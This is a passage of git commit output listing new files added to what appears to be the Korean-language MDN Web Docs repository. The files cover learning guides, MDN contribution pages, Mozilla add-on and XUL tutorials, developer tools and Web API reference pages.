"files/ko/learn/getting_started_with_the_web/\352\270\260\353\263\270_\354\206\214\355\224\204\355\212\270\354\233\250\354\226\264_\354\204\244\354\271\230\355\225\230\352\270\260/index.html" create mode 100644 "files/ko/learn/getting_started_with_the_web/\354\233\271\354\202\254\354\235\264\355\212\270_\354\266\234\355\214\220\355\225\230\352\270\260/index.html" create mode 100644 "files/ko/learn/getting_started_with_the_web/\354\233\271\354\235\230_\353\217\231\354\236\221_\353\260\251\354\213\235/index.html" create mode 100644 "files/ko/learn/getting_started_with_the_web/\355\214\214\354\235\274\353\223\244_\353\213\244\353\243\250\352\270\260/index.html" create mode 100644 files/ko/learn/how_to_contribute/index.html create mode 100644 "files/ko/learn/html/forms/html_\355\217\274_\352\265\254\354\204\261_\353\260\251\353\262\225/index.html" create mode 100644 files/ko/learn/html/forms/index.html create mode 100644 files/ko/learn/html/forms/sending_and_retrieving_form_data/index.html create mode 100644 files/ko/learn/html/forms/your_first_html_form/index.html create mode 100644 files/ko/learn/html/howto/index.html create mode 100644 files/ko/learn/html/howto/mark_abbreviations_and_make_them_understandable/index.html create mode 100644 "files/ko/learn/html/howto/\353\215\260\354\235\264\355\204\260_\354\206\215\354\204\261_\354\202\254\354\232\251\355\225\230\352\270\260/index.html" create mode 100644 files/ko/learn/html/index.html create mode 100644 files/ko/learn/html/introduction_to_html/advanced_text_formatting/index.html create mode 100644 files/ko/learn/html/introduction_to_html/creating_hyperlinks/index.html create mode 100644 files/ko/learn/html/introduction_to_html/debugging_html/index.html create mode 100644 files/ko/learn/html/introduction_to_html/document_and_website_structure/index.html create mode 100644 files/ko/learn/html/introduction_to_html/getting_started/index.html create mode 100644 files/ko/learn/html/introduction_to_html/html_text_fundamentals/index.html create mode 100644 files/ko/learn/html/introduction_to_html/index.html create mode 100644 files/ko/learn/html/introduction_to_html/marking_up_a_letter/index.html create mode 100644 files/ko/learn/html/introduction_to_html/the_head_metadata_in_html/index.html create mode 100644 files/ko/learn/html/multimedia_and_embedding/ideo_and_audio_content/index.html create mode 100644 files/ko/learn/html/multimedia_and_embedding/images_in_html/index.html create mode 100644 files/ko/learn/html/multimedia_and_embedding/index.html create mode 100644 files/ko/learn/html/multimedia_and_embedding/responsive_images/index.html create mode 100644 files/ko/learn/html/tables/index.html create mode 100644 files/ko/learn/index.html create mode 100644 files/ko/learn/index/index.html create mode 100644 files/ko/learn/infrastructure/index.html create mode 100644 files/ko/learn/javascript/asynchronous/async_await/index.html create mode 100644 files/ko/learn/javascript/asynchronous/concepts/index.html create mode 100644 files/ko/learn/javascript/asynchronous/index.html create mode 100644 files/ko/learn/javascript/asynchronous/introducing/index.html create mode 100644 files/ko/learn/javascript/asynchronous/promises/index.html create mode 100644 files/ko/learn/javascript/asynchronous/timeouts_and_intervals/index.html create mode 100644 files/ko/learn/javascript/building_blocks/build_your_own_function/index.html create mode 100644 files/ko/learn/javascript/building_blocks/functions/index.html create mode 100644 files/ko/learn/javascript/building_blocks/index.html create mode 100644 files/ko/learn/javascript/building_blocks/looping_code/index.html create mode 100644 "files/ko/learn/javascript/building_blocks/\354\241\260\352\261\264\353\254\270/index.html" create mode 100644 files/ko/learn/javascript/client-side_web_apis/client-side_storage/index.html create mode 100644 files/ko/learn/javascript/client-side_web_apis/index.html create mode 100644 files/ko/learn/javascript/first_steps/a_first_splash/index.html create mode 100644 files/ko/learn/javascript/first_steps/arrays/index.html create mode 100644 files/ko/learn/javascript/first_steps/index.html create mode 100644 files/ko/learn/javascript/first_steps/math/index.html create mode 100644 files/ko/learn/javascript/first_steps/silly_story_generator/index.html create mode 100644 files/ko/learn/javascript/first_steps/strings/index.html create mode 100644 files/ko/learn/javascript/first_steps/useful_string_methods/index.html create mode 100644 files/ko/learn/javascript/first_steps/variables/index.html create mode 100644 files/ko/learn/javascript/first_steps/what_is_javascript/index.html create mode 100644 files/ko/learn/javascript/first_steps/what_went_wrong/index.html create mode 100644 files/ko/learn/javascript/howto/index.html create mode 100644 files/ko/learn/javascript/index.html create mode 100644 files/ko/learn/javascript/objects/basics/index.html create mode 100644 files/ko/learn/javascript/objects/index.html create mode 100644 files/ko/learn/javascript/objects/inheritance/index.html create mode 100644 files/ko/learn/javascript/objects/json/index.html create mode 100644 files/ko/learn/javascript/objects/object-oriented_js/index.html create mode 100644 files/ko/learn/javascript/objects/object_prototypes/index.html create mode 100644 files/ko/learn/server-side/django/admin_site/index.html create mode 100644 files/ko/learn/server-side/django/authentication/index.html create mode 100644 files/ko/learn/server-side/django/deployment/index.html create mode 100644 files/ko/learn/server-side/django/development_environment/index.html create mode 100644 files/ko/learn/server-side/django/forms/index.html create mode 100644 files/ko/learn/server-side/django/generic_views/index.html create mode 100644 files/ko/learn/server-side/django/home_page/index.html create mode 100644 files/ko/learn/server-side/django/index.html create mode 100644 files/ko/learn/server-side/django/introduction/index.html create mode 100644 files/ko/learn/server-side/django/models/index.html create mode 100644 files/ko/learn/server-side/django/sessions/index.html create mode 100644 files/ko/learn/server-side/django/skeleton_website/index.html create mode 100644 files/ko/learn/server-side/django/testing/index.html create mode 100644 files/ko/learn/server-side/django/tutorial_local_library_website/index.html create mode 100644 files/ko/learn/server-side/django/web_application_security/index.html create mode 100644 files/ko/learn/server-side/express_nodejs/index.html create mode 100644 files/ko/learn/server-side/express_nodejs/introduction/index.html create mode 100644 files/ko/learn/server-side/express_nodejs/mongoose/index.html create mode 100644 files/ko/learn/server-side/express_nodejs/routes/index.html create mode 100644 "files/ko/learn/server-side/express_nodejs/\352\260\234\353\260\234_\355\231\230\352\262\275/index.html" create mode 100644 "files/ko/learn/server-side/express_nodejs/\354\212\244\354\274\210\353\240\210\355\206\244_\354\233\271\354\202\254\354\235\264\355\212\270/index.html" create mode 100644 files/ko/learn/server-side/first_steps/client-server_overview/index.html create mode 100644 files/ko/learn/server-side/first_steps/index.html create mode 100644 files/ko/learn/server-side/first_steps/introduction/index.html create mode 100644 files/ko/learn/server-side/first_steps/web_frameworks/index.html create mode 100644 files/ko/learn/server-side/first_steps/website_security/index.html create mode 100644 files/ko/learn/server-side/index.html create mode 100644 files/ko/learn/skills/index.html create mode 100644 files/ko/learn/tools_and_testing/client-side_javascript_frameworks/index.html create mode 100644 files/ko/learn/tools_and_testing/client-side_javascript_frameworks/vue_first_component/index.html create mode 100644 files/ko/learn/tools_and_testing/client-side_javascript_frameworks/vue_getting_started/index.html create mode 100644 files/ko/learn/tools_and_testing/github/index.html create mode 100644 files/ko/learn/tools_and_testing/index.html create mode 100644 "files/ko/learn/web_\352\270\260\354\210\240/index.html" create mode 100644 "files/ko/learn/\354\240\221\352\267\274\354\204\261/html/index.html" create mode 100644 "files/ko/learn/\354\240\221\352\267\274\354\204\261/index.html" create mode 100644 "files/ko/learn/\354\240\221\352\267\274\354\204\261/what_is_accessibility/index.html" create mode 100644 "files/ko/learn/\354\240\221\352\267\274\354\204\261/\353\252\250\353\260\224\354\235\274/index.html" create mode 100644 files/ko/localization/index.html create mode 100644 files/ko/localizing_extension_descriptions/index.html create mode 100644 files/ko/mdn/about/index.html create mode 100644 files/ko/mdn/about/mdn_services/index.html create mode 100644 files/ko/mdn/community/conversations/index.html create mode 100644 files/ko/mdn/community/index.html create mode 100644 files/ko/mdn/community/roles/admins/index.html create mode 100644 files/ko/mdn/community/roles/index.html create mode 100644 files/ko/mdn/community/roles/localization_driver_role/index.html create mode 100644 files/ko/mdn/community/working_in_community/index.html create mode 100644 files/ko/mdn/contribute/creating_and_editing_pages/index.html create mode 100644 files/ko/mdn/contribute/does_this_belong/index.html create mode 100644 files/ko/mdn/contribute/feedback/index.html create mode 100644 files/ko/mdn/contribute/getting_started/index.html create mode 100644 files/ko/mdn/contribute/howto/do_a_technical_review/index.html create mode 100644 files/ko/mdn/contribute/howto/do_an_editorial_review/index.html create mode 100644 files/ko/mdn/contribute/howto/index.html create mode 100644 "files/ko/mdn/contribute/howto/mdn_\352\263\204\354\240\225_\354\203\235\354\204\261\355\225\230\352\270\260/index.html" create mode 100644 files/ko/mdn/contribute/howto/report_a_problem/index.html create mode 100644 files/ko/mdn/contribute/howto/set_the_summary_for_a_page/index.html create mode 100644 files/ko/mdn/contribute/howto/tag/index.html create mode 100644 files/ko/mdn/contribute/howto/tag_javascript_pages/index.html create mode 100644 files/ko/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html create mode 100644 "files/ko/mdn/contribute/howto/\354\202\264\354\225\204\354\236\210\353\212\224_\354\275\224\353\223\234_\354\203\230\355\224\214\353\241\234_\353\263\200\355\231\230\355\225\230\352\270\260/index.html" create mode 100644 files/ko/mdn/contribute/index.html create mode 100644 files/ko/mdn/contribute/processes/index.html create mode 100644 files/ko/mdn/editor/index.html create mode 100644 files/ko/mdn/editor/links/index.html create mode 100644 files/ko/mdn/guidelines/best_practices/index.html create mode 100644 files/ko/mdn/guidelines/code_guidelines/code_guidelines/index.html create mode 100644 files/ko/mdn/guidelines/code_guidelines/css/index.html create mode 100644 files/ko/mdn/guidelines/code_guidelines/index.html create mode 100644 files/ko/mdn/guidelines/index.html create mode 100644 files/ko/mdn/guidelines/style_guide/index.html create mode 100644 files/ko/mdn/index.html create mode 100644 files/ko/mdn/kuma/index.html create mode 100644 files/ko/mdn/structures/api_references/api_reference_sidebars/index.html create mode 100644 files/ko/mdn/structures/api_references/index.html create mode 100644 files/ko/mdn/structures/compatibility_tables/index.html create mode 100644 files/ko/mdn/structures/index.html create mode 100644 files/ko/mdn/structures/macros/commonly-used_macros/index.html create mode 100644 files/ko/mdn/structures/macros/index.html create mode 100644 files/ko/mdn/tools/index.html create mode 100644 files/ko/mdn/tools/kumascript/index.html create mode 100644 files/ko/mdn/tools/kumascript/troubleshooting/index.html create mode 100644 "files/ko/mdn/tools/\355\216\230\354\235\264\354\247\200_\354\236\254\354\203\235\354\204\261/index.html" create mode 100644 files/ko/mdn/user_guide/index.html create mode 100644 files/ko/mdn_at_ten/index.html create mode 100644 files/ko/mercurial_faq/index.html create mode 100644 files/ko/migrate_apps_from_internet_explorer_to_mozilla/index.html create mode 100644 files/ko/mozilla's_quirks_mode/index.html create mode 100644 files/ko/mozilla/add-ons/amo/index.html create mode 100644 files/ko/mozilla/add-ons/amo/policy/index.html create mode 100644 files/ko/mozilla/add-ons/bootstrapped_extensions/index.html create mode 100644 files/ko/mozilla/add-ons/extension_frequently_asked_questions/index.html create mode 100644 files/ko/mozilla/add-ons/extension_packaging/index.html create mode 100644 files/ko/mozilla/add-ons/index.html create mode 100644 files/ko/mozilla/add-ons/plugins/index.html create mode 100644 files/ko/mozilla/add-ons/plugins/macromedia_flash/index.html create mode 100644 files/ko/mozilla/add-ons/plugins/reference/index.html create mode 100644 files/ko/mozilla/add-ons/plugins/reference/np_getmimedescription/index.html create mode 100644 files/ko/mozilla/add-ons/plugins/reference/npn_posturlnotify/index.html create mode 100644 files/ko/mozilla/add-ons/setting_up_extension_development_environment/index.html create mode 100644 files/ko/mozilla/add-ons/themes/index.html create mode 100644 files/ko/mozilla/add-ons/themes/obsolete/creating_a_skin_for_firefox/contents.rdf/index.html create mode 100644 files/ko/mozilla/add-ons/themes/obsolete/creating_a_skin_for_firefox/getting_started/index.html create mode 100644 files/ko/mozilla/add-ons/themes/obsolete/creating_a_skin_for_firefox/index.html create mode 100644 files/ko/mozilla/add-ons/themes/obsolete/creating_a_skin_for_firefox/install.rdf/index.html create mode 100644 files/ko/mozilla/add-ons/themes/obsolete/creating_a_skin_for_firefox/uuid/index.html create mode 100644 files/ko/mozilla/add-ons/themes/obsolete/index.html create mode 100644 files/ko/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html create mode 100644 files/ko/mozilla/add-ons/webextensions/api/browsingdata/index.html create mode 100644 files/ko/mozilla/add-ons/webextensions/api/contentscripts/index.html create mode 100644 files/ko/mozilla/add-ons/webextensions/api/contextmenus/contexttype/index.html create mode 100644 files/ko/mozilla/add-ons/webextensions/api/contextmenus/create/index.html create mode 100644 files/ko/mozilla/add-ons/webextensions/api/contextmenus/gettargetelement/index.html create mode 100644 files/ko/mozilla/add-ons/webextensions/api/contextmenus/index.html create mode 100644 files/ko/mozilla/add-ons/webextensions/api/contextmenus/onshown/index.html create mode 100644 files/ko/mozilla/add-ons/webextensions/api/index.html create mode 100644 files/ko/mozilla/add-ons/webextensions/api/pageaction/index.html create mode 100644 files/ko/mozilla/add-ons/webextensions/api/pageaction/show/index.html create mode 100644 files/ko/mozilla/add-ons/webextensions/api/storage/index.html create mode 100644 files/ko/mozilla/add-ons/webextensions/api/storage/local/index.html create mode 100644 files/ko/mozilla/add-ons/webextensions/api/storage/storagearea/get/index.html create mode 100644 files/ko/mozilla/add-ons/webextensions/api/storage/storagearea/index.html create mode 100644 files/ko/mozilla/add-ons/webextensions/api/storage/storagearea/set/index.html create mode 100644 files/ko/mozilla/add-ons/webextensions/api/storage/sync/index.html create mode 100644 files/ko/mozilla/add-ons/webextensions/api/tabs/create/index.html create mode 100644 files/ko/mozilla/add-ons/webextensions/api/tabs/index.html create mode 100644 files/ko/mozilla/add-ons/webextensions/api/tabs/insertcss/index.html create mode 100644 files/ko/mozilla/add-ons/webextensions/api/webrequest/index.html create mode 100644 files/ko/mozilla/add-ons/webextensions/api/webrequest/onbeforerequest/index.html create mode 100644 files/ko/mozilla/add-ons/webextensions/content_scripts/index.html create mode 100644 files/ko/mozilla/add-ons/webextensions/examples/index.html create mode 100644 files/ko/mozilla/add-ons/webextensions/index.html create mode 100644 files/ko/mozilla/add-ons/webextensions/manifest.json/content_scripts/index.html create mode 100644 files/ko/mozilla/add-ons/webextensions/manifest.json/index.html create mode 100644 files/ko/mozilla/add-ons/webextensions/manifest.json/page_action/index.html create mode 100644 files/ko/mozilla/add-ons/webextensions/prerequisites/index.html create mode 100644 files/ko/mozilla/add-ons/webextensions/user_actions/index.html create mode 100644 files/ko/mozilla/add-ons/webextensions/user_interface/index.html create mode 100644 files/ko/mozilla/add-ons/webextensions/user_interface/page_actions/index.html create mode 100644 files/ko/mozilla/add-ons/webextensions/what_are_webextensions/index.html create mode 100644 files/ko/mozilla/add-ons/webextensions/your_first_webextension/index.html create mode 100644 files/ko/mozilla/add-ons/webextensions/your_second_webextension/index.html create mode 100644 files/ko/mozilla/developer_guide/eclipse/eclipse_cdt/index.html create mode 100644 files/ko/mozilla/developer_guide/eclipse/index.html create mode 100644 files/ko/mozilla/developer_guide/index.html create mode 100644 files/ko/mozilla/developer_guide/mozilla_build_faq/index.html create mode 100644 files/ko/mozilla/developer_guide/source_code/index.html create mode 100644 files/ko/mozilla/firefox/developer_edition/index.html create mode 100644 files/ko/mozilla/firefox/headless_mode/index.html create mode 100644 files/ko/mozilla/firefox/index.html create mode 100644 files/ko/mozilla/firefox/multiple_profiles/index.html create mode 100644 files/ko/mozilla/firefox/releases/3/index.html create mode 100644 files/ko/mozilla/firefox/releases/66/index.html create mode 100644 files/ko/mozilla/firefox/releases/index.html create mode 100644 files/ko/mozilla/http_cache/index.html create mode 100644 files/ko/mozilla/implementing_pontoon_in_a_mozilla_website/index.html create mode 100644 files/ko/mozilla/index.html create mode 100644 files/ko/mozilla/javascript_code_modules/index.html create mode 100644 files/ko/mozilla/js-ctypes/index.html create mode 100644 "files/ko/mozilla/marketplace/publishing/\354\206\214\352\260\234/index.html" create mode 100644 files/ko/mozilla/marketplace/submission/index.html create mode 100644 files/ko/mozilla/marketplace_kr/index.html create mode 100644 files/ko/mozilla/mobile/index.html create mode 100644 files/ko/mozilla/mobile/viewport_meta_tag/index.html create mode 100644 files/ko/mozilla/participating_in_the_mozilla_project/index.html create mode 100644 files/ko/mozilla/persona/bootstrapping_persona/index.html create mode 100644 files/ko/mozilla/persona/browser_compatibility/index.html create mode 100644 files/ko/mozilla/persona/index.html create mode 100644 files/ko/mozilla/persona/quick_setup/index.html create mode 100644 files/ko/mozilla/persona/user_interface_guidelines/index.html create mode 100644 files/ko/mozilla/persona/why_persona/index.html create mode 100644 files/ko/mozilla/projects/emscripten/index.html create mode 100644 files/ko/mozilla/projects/index.html create mode 100644 files/ko/mozilla/projects/l20n/index.html create mode 100644 files/ko/mozilla/projects/psm/index.html create mode 100644 files/ko/mozilla/qa/bug_writing_guidelines/index.html create mode 100644 files/ko/mozilla/qa/index.html create mode 100644 files/ko/mozilla/tech/index.html create mode 100644 files/ko/mozilla/tech/xpcom/guide/index.html create mode 100644 files/ko/mozilla/tech/xpcom/language_bindings/index.html create mode 100644 files/ko/mozilla/tech/xpcom/reference/index.html create mode 100644 files/ko/mozilla/tech/xpcom/reference/interface/about_scriptable_interfaces/index.html create mode 100644 files/ko/mozilla/tech/xpcom/reference/interface/nsiloginmanager/index.html create mode 100644 files/ko/mozilla/tech/xul/attribute/accesskey/index.html create mode 100644 files/ko/mozilla/tech/xul/attribute/currentset/index.html create mode 100644 files/ko/mozilla/tech/xul/attribute/image.onload/index.html create mode 100644 files/ko/mozilla/tech/xul/attribute/index.html create mode 100644 files/ko/mozilla/tech/xul/index.html create mode 100644 files/ko/mozilla/tech/xul/menu/index.html create mode 100644 files/ko/mozilla/tech/xul/property/index.html create mode 100644 files/ko/mozilla/tech/xul/splitter/index.html create mode 100644 files/ko/mozilla/tech/xul/template_guide/index.html create mode 100644 files/ko/mozilla/tech/xul/toolbar/index.html create mode 100644 files/ko/mozilla/tech/xul/toolbarbutton/index.html create mode 100644 files/ko/mozilla/tech/xul/toolbarpalette/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_controls/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_reference/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/adding_buttons/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/adding_event_handlers/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/adding_html_elements/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/adding_labels_and_images/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/adding_more_elements/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/box_model_details/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/content_panels/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/creating_a_window/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/cross_package_overlays/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/element_positioning/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/focus_and_selection/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/grids/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/groupboxes/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/input_controls/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/introduction/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/introduction_to_rdf/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/introduction_to_xbl/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/keyboard_shortcuts/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/list_controls/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/localization/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/manifest_files/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/more_button_features/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/more_event_handlers/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/more_menu_features/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/popup_menus/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/progress_meters/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/property_files/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/scroll_bars/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/scrolling_menus/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/simple_menu_bars/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/splitters/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/stack_positioning/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/stacks_and_decks/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/tabboxes/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/templates/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/the_box_model/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/the_chrome_url/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/toolbars/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/trees/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/using_spacers/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/xpcom_examples/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/xpcom_interfaces/index.html create mode 100644 files/ko/mozilla/tech/xul/xul_tutorial/xul_structure/index.html create mode 100644 "files/ko/mozilla/\352\260\234\353\260\234\354\236\220_\355\224\204\353\241\234\352\267\270\353\236\250/index.html" create mode 100644 "files/ko/mozilla/\354\225\210\353\223\234\353\241\234\354\235\264\353\223\234\354\232\251_\355\214\214\354\235\264\354\226\264\355\217\255\354\212\244/index.html" create mode 100644 "files/ko/mozilla/\354\247\200\354\227\255\355\231\224/index.html" create mode 100644 "files/ko/mozilla/\354\247\200\354\227\255\355\231\224/localizing_with_verbatim/index.html" create mode 100644 "files/ko/mozilla/\354\247\200\354\227\255\355\231\224/pontoon_\354\247\200\354\227\255\355\231\224/index.html" create mode 100644 files/ko/mozilla_source_code_via_cvs/index.html create mode 100644 files/ko/msx_emulator_(jsmsx)/index.html create mode 100644 files/ko/navigation_timing/index.html create mode 100644 files/ko/new_compatibility_tables_beta/index.html create mode 100644 files/ko/node_server_without_framework/index.html create mode 100644 files/ko/notable_bugs_fixed_in_firefox_3/index.html create mode 100644 files/ko/nsicryptohash/index.html create mode 100644 files/ko/nsiidleservice/index.html create mode 100644 files/ko/nss/index.html create mode 100644 files/ko/nss/new_nss_samples/index.html create mode 100644 files/ko/places/accessing_bookmarks/index.html create mode 100644 files/ko/places/custom_containers/index.html create mode 100644 files/ko/places/index.html create mode 100644 files/ko/places/instantiating_views/index.html create mode 100644 files/ko/places/query_system/index.html create mode 100644 files/ko/places/views/index.html create mode 100644 files/ko/preferences_system/examples/index.html create mode 100644 files/ko/preferences_system/index.html create mode 100644 files/ko/pyxpcom/index.html create mode 100644 files/ko/rdf/index.html create mode 100644 files/ko/rhino/index.html create mode 100644 files/ko/sandbox/index.html create mode 100644 files/ko/scripting_plugins/index.html create mode 100644 files/ko/spidermonkey/index.html create mode 100644 files/ko/storage/index.html create mode 100644 files/ko/svg_improvements_in_firefox_3/index.html create mode 100644 files/ko/svg_in_firefox/index.html create mode 100644 files/ko/the_basics_of_web_services/index.html create mode 100644 files/ko/the_dom_and_javascript/index.html create mode 100644 files/ko/theme_packaging/index.html create mode 100644 files/ko/tips_for_authoring_fast-loading_html_pages/index.html create mode 100644 files/ko/toolkit_api/index.html create mode 100644 files/ko/tools/add-ons/dom_inspector/index.html create mode 100644 files/ko/tools/add-ons/index.html create mode 100644 files/ko/tools/debugger/index.html create mode 100644 files/ko/tools/debugger/ui_tour/index.html create mode 100644 "files/ko/tools/debugger/\353\213\250\354\266\225\355\202\244/index.html" create mode 100644 files/ko/tools/how_to/index.html create mode 100644 files/ko/tools/how_to/open_the_debugger/index.html create mode 100644 files/ko/tools/how_to/search/index.html create mode 100644 files/ko/tools/how_to/set_a_breakpoint/index.html create mode 100644 files/ko/tools/index.html create mode 100644 files/ko/tools/network_monitor/index.html create mode 100644 files/ko/tools/page_inspector/index.html create mode 100644 files/ko/tools/page_inspector/ui_tour/index.html create mode 100644 files/ko/tools/performance/index.html create mode 100644 files/ko/tools/performance/ui_tour/index.html create mode 100644 files/ko/tools/remote_debugging/firefox_for_android/index.html create mode 100644 files/ko/tools/remote_debugging/index.html create mode 100644 files/ko/tools/scratchpad/index.html create mode 100644 files/ko/tools/web_console/index.html create mode 100644 files/ko/tools/webide/index.html create mode 100644 "files/ko/tools/webide/\353\254\270\354\240\234\355\225\264\352\262\260/index.html" create mode 100644 files/ko/updating_extensions_for_firefox_2/index.html create mode 100644 files/ko/updating_extensions_for_firefox_3/index.html create mode 100644 files/ko/updating_web_applications_for_firefox_3/index.html create mode 100644 files/ko/using_mozilla_in_testing_and_debugging_web_sites/index.html create mode 100644 files/ko/using_nsiloginmanager/index.html create mode 100644 files/ko/using_xpath/index.html create mode 100644 files/ko/using_xpinstall_to_install_plugins/index.html create mode 100644 files/ko/web/accessibility/an_overview_of_accessible_web_applications_and_widgets/index.html create mode 100644 files/ko/web/accessibility/aria/aria_live_regions/index.html create mode 100644 files/ko/web/accessibility/aria/aria_techniques/index.html create mode 100644 files/ko/web/accessibility/aria/aria_techniques/using_the_aria-label_attribute/index.html create mode 100644 files/ko/web/accessibility/aria/forms/alerts/index.html create mode 100644 files/ko/web/accessibility/aria/forms/basic_form_hints/index.html create mode 100644 files/ko/web/accessibility/aria/forms/index.html create mode 100644 files/ko/web/accessibility/aria/index.html create mode 100644 files/ko/web/accessibility/aria/roles/dialog_role/index.html create mode 100644 files/ko/web/accessibility/aria/roles/index.html create mode 100644 files/ko/web/accessibility/index.html create mode 100644 files/ko/web/accessibility/mobile_accessibility_checklist/index.html create mode 100644 files/ko/web/accessibility/understanding_wcag/index.html create mode 100644 files/ko/web/accessibility/understanding_wcag/keyboard/index.html create mode 100644 files/ko/web/api/abortcontroller/abort/index.html create mode 100644 files/ko/web/api/abortcontroller/abortcontroller/index.html create mode 100644 files/ko/web/api/abortcontroller/index.html create mode 100644 files/ko/web/api/abortcontroller/signal/index.html create mode 100644 files/ko/web/api/abortsignal/aborted/index.html create mode 100644 files/ko/web/api/abortsignal/index.html create mode 100644 files/ko/web/api/abstractrange/collapsed/index.html create mode 100644 files/ko/web/api/abstractrange/index.html create mode 100644 files/ko/web/api/abstractworker/index.html create mode 100644 files/ko/web/api/analysernode/index.html create mode 100644 files/ko/web/api/angle_instanced_arrays/index.html create mode 100644 files/ko/web/api/animationevent/animationevent/index.html create mode 100644 files/ko/web/api/animationevent/animationname/index.html create mode 100644 files/ko/web/api/animationevent/index.html create mode 100644 files/ko/web/api/animationtimeline/currenttime/index.html create mode 100644 files/ko/web/api/animationtimeline/index.html create mode 100644 files/ko/web/api/audio_channels_api/using_the_audiochannels_api/index.html create mode 100644 files/ko/web/api/audiobuffer/index.html create mode 100644 files/ko/web/api/audiobuffersourcenode/index.html create mode 100644 files/ko/web/api/audiochannelmanager/index.html create mode 100644 files/ko/web/api/audiochannels_api/index.html create mode 100644 files/ko/web/api/audiocontext/index.html create mode 100644 files/ko/web/api/audiodestinationnode/index.html create mode 100644 files/ko/web/api/audionode/index.html create mode 100644 files/ko/web/api/audioparam/index.html create mode 100644 files/ko/web/api/background_tasks_api/index.html create mode 100644 files/ko/web/api/batterymanager/charging/index.html create mode 100644 files/ko/web/api/batterymanager/chargingtime/index.html create mode 100644 files/ko/web/api/batterymanager/dischargingtime/index.html create mode 100644 files/ko/web/api/batterymanager/index.html create mode 100644 files/ko/web/api/biquadfilternode/index.html create mode 100644 files/ko/web/api/blob/blob/index.html create mode 100644 files/ko/web/api/blob/index.html create mode 100644 files/ko/web/api/body/index.html create mode 100644 files/ko/web/api/body/json/index.html create mode 100644 files/ko/web/api/broadcastchannel/index.html create mode 100644 files/ko/web/api/cache/index.html create mode 100644 files/ko/web/api/cache/put/index.html create mode 100644 files/ko/web/api/canvascapturemediastreamtrack/canvas/index.html create mode 100644 files/ko/web/api/canvascapturemediastreamtrack/index.html create mode 100644 files/ko/web/api/canvascapturemediastreamtrack/requestframe/index.html create mode 100644 files/ko/web/api/channel_messaging_api/index.html create mode 100644 files/ko/web/api/channel_messaging_api/using_channel_messaging/index.html create mode 100644 files/ko/web/api/characterdata/index.html create mode 100644 files/ko/web/api/childnode/before/index.html create mode 100644 files/ko/web/api/childnode/index.html create mode 100644 files/ko/web/api/childnode/remove/index.html create mode 100644 files/ko/web/api/clients/claim/index.html create mode 100644 files/ko/web/api/clients/index.html create mode 100644 files/ko/web/api/clipboard/index.html create mode 100644 files/ko/web/api/clipboard_api/index.html create mode 100644 files/ko/web/api/clipboardevent/clipboarddata/index.html create mode 100644 files/ko/web/api/clipboardevent/index.html create mode 100644 files/ko/web/api/comment/index.html create mode 100644 files/ko/web/api/console/assert/index.html create mode 100644 files/ko/web/api/console/clear/index.html create mode 100644 files/ko/web/api/console/count/index.html create mode 100644 files/ko/web/api/console/countreset/index.html create mode 100644 files/ko/web/api/console/debug/index.html create mode 100644 files/ko/web/api/console/error/index.html create mode 100644 files/ko/web/api/console/group/index.html create mode 100644 files/ko/web/api/console/index.html create mode 100644 files/ko/web/api/console/log/index.html create mode 100644 files/ko/web/api/console/time/index.html create mode 100644 files/ko/web/api/console/timeend/index.html create mode 100644 files/ko/web/api/console/trace/index.html create mode 100644 files/ko/web/api/console/warn/index.html create mode 100644 files/ko/web/api/console_api/index.html create mode 100644 files/ko/web/api/crypto/getrandomvalues/index.html create mode 100644 files/ko/web/api/crypto/index.html create mode 100644 files/ko/web/api/crypto/subtle/index.html create mode 100644 files/ko/web/api/css/index.html create mode 100644 files/ko/web/api/css_object_model/index.html create mode 100644 files/ko/web/api/cssmediarule/index.html create mode 100644 files/ko/web/api/cssomstring/index.html create mode 100644 files/ko/web/api/cssstylesheet/index.html create mode 100644 files/ko/web/api/customelementregistry/index.html create mode 100644 